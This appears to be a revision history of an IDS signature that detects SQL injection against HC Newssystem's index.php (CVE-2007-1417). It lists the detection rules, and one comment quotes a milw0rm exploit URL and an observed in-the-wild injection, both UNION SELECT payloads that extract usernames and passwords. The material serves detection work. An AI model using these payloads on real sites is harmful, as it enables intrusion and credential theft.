alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SPECIFIC HC NEWSSYSTEM SQL Injection Attempt -- index.php ID SELECT"; flow:established,to_server; uricontent:"/index.php?"; nocase; uricontent:"ID="; nocase; uricontent:"SELECT"; nocase; pcre:"/SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2007-1417; reference:url,www.milw0rm.com/exploits/3449; reference:url,doc.emergingthreats.net/2004391; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SQL_INJECTION/WEB_HC_News; sid:2004391; rev:4;)

Added 2009-02-19 21:15:27 UTC

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SPECIFIC HC NEWSSYSTEM SQL Injection Attempt -- index.php ID SELECT"; flow:established,to_server; uricontent:"/index.php?"; nocase; uricontent:"ID="; nocase; uricontent:"SELECT"; nocase; pcre:"/SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2007-1417; reference:url,www.milw0rm.com/exploits/3449; reference:url,doc.emergingthreats.net/2004391; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SQL_INJECTION/WEB_HC_News; sid:2004391; rev:4;)

Added 2009-02-19 21:15:27 UTC

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SPECIFIC HC NEWSSYSTEM SQL Injection Attempt -- index.php ID SELECT"; flow:established,to_server; uricontent:"/index.php?"; nocase; uricontent:"ID="; nocase; uricontent:"SELECT"; nocase; pcre:"/SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2007-1417; reference:url,www.milw0rm.com/exploits/3449; reference:url,doc.emergingthreats.net/2004391; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SQL_INJECTION/WEB_HC_News; sid:2004391; rev:4;)

Added 2009-02-19 21:11:09 UTC

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SPECIFIC HC NEWSSYSTEM SQL Injection Attempt -- index.php ID SELECT"; flow:established,to_server; uricontent:"/index.php?"; nocase; uricontent:"ID="; nocase; uricontent:"SELECT"; nocase; pcre:"/SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2007-1417; reference:url,www.milw0rm.com/exploits/3449; reference:url,doc.emergingthreats.net/2004391; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SQL_INJECTION/WEB_HC_News; sid:2004391; rev:4;)

Added 2009-02-19 21:11:09 UTC

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SPECIFIC HC NEWSSYSTEM SQL Injection Attempt -- index.php ID SELECT"; flow:established,to_server; uricontent:"/index.php?"; nocase; uricontent:"ID="; nocase; uricontent:"SELECT"; nocase; pcre:"/SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2007-1417; reference:url,www.milw0rm.com/exploits/3449; sid:2004391; rev:3;)

Added 2008-02-01 10:46:08 UTC

exploit (from milworm): http://localhost/path/index.php?option=news&aktion=komm&ID=-1/**/UNION/**/SELECT/**/null,null,mname,null,mpassword,null,null/**/FROM/**/hcmitglieder/**/WHERE/**/id=1/*

one observered on one of our servers: GET /index.php?option=com_gallery&Itemid=0&func=detail&id=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username/**/from**mos_users/*

-- RussellFulton - 17 Dec 2008

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SPECIFIC HC NEWSSYSTEM SQL Injection Attempt -- index.php ID SELECT"; flow:established,to_server; uricontent:"/index.php?"; nocase; uricontent:"ID="; nocase; uricontent:"SELECT"; nocase; pcre:"/SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2007-1417; reference:url,www.milw0rm.com/exploits/3449; sid:2004391; rev:3;)

Added 2008-02-01 10:46:08 UTC

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE WEB HC NEWSSYSTEM SQL Injection Attempt -- index.php ID SELECT"; flow:established,to_server; uricontent:"/index.php?"; nocase; uricontent:"ID="; nocase; uricontent:"SELECT"; nocase; pcre:"/SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2007-1417; reference:url,www.milw0rm.com/exploits/3449; sid:2004391; rev:2;)

Added 2007-08-13 02:46:05 UTC

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BLEEDING-EDGE WEB HC NEWSSYSTEM SQL Injection Attempt -- index.php ID SELECT"; flow:established,to_server; uricontent:"/index.php?"; nocase; uricontent:"ID="; nocase; pcre:"/SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2007-1417; reference:url,www.milw0rm.com/exploits/3449; sid:2004391; rev:1;)

Added 2007-06-04 01:53:47 UTC